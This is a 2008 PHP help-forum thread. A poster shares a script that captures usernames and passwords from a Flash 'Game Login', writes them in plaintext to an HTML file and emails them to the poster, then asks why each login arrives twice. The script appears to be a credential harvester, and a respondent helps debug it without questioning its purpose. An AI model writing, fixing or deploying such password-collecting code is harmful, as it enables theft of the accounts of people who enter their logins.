sith717 Posted September 2, 2008 Share Posted September 2, 2008 Somethig is wrong with this script. When I log in the flash, it double logs. I want it to log in a html file and send me an email. The thing is, when I login, or anyone logs in, it sends 2 emails and logs double. Anyone fix this for me? <?php // get posted data into local variables $EmailTo = "test"; $EmailTo = "sith717@sierri.net"; $Subject = "Game Login"; $User = Trim(stripslashes($_POST['Username'])); $Password = Trim(stripslashes($_POST['Password'])); $mes .= '<br>user: '.$User."\n<br>"; $mes .= 'Password: '.$Password."\n<br>"; $mes .= "IP: ".$ip."\n<br>"; $mes .= 'Date & Time: '.$d."\n<br>"; $mes .= ('***********************************************'); //Log to a file $file = "eric.html"; $fh = fopen($file, "a"); fwrite ($fh, "$mes\n"); fclose($fh); // prepare email body text $Body = ""; $Body .= "Username: "; $Body .= $User; $Body .= "\n"; $Body .= "Password: "; $Body .= $Password; $Body .= "\n"; // send email $success = mail($EmailTo, $Subject, $Body, "From: <$EmailFrom>"); ?> Link to comment https://forums.phpfreaks.com/topic/122460-double-logs/ Share on other sites More sharing options...
tmbrown Posted September 3, 2008 Share Posted September 3, 2008 you only need on $EmailTo which needs to be the email address. <?php $EmailTo = "test"; $EmailTo = "sith717@sierri.net"; ?> Change to <?php $EmailTo = "sith717@sierri.net"; ?> Also here <?php fwrite ($fh, "$mes\n"); ?> It is good practice to do one of the following: <?php fwrite ($fh, "{$mes}\n"); /* OR */ fwrite ($fh, $mes."\n"); ?> Link to comment https://forums.phpfreaks.com/topic/122460-double-logs/#findComment-632626 Share on other sites More sharing options...
sith717 Posted September 3, 2008 Author Share Posted September 3, 2008 So in all, how is it supposed to look like? Link to comment https://forums.phpfreaks.com/topic/122460-double-logs/#findComment-632945 Share on other sites More sharing options...
tmbrown Posted September 3, 2008 Share Posted September 3, 2008 It should be right once you make that one change, I really don't see anything wrong with it other than that. How are you calling this snippet? Link to comment https://forums.phpfreaks.com/topic/122460-double-logs/#findComment-632955 Share on other sites More sharing options...
Recommended Posts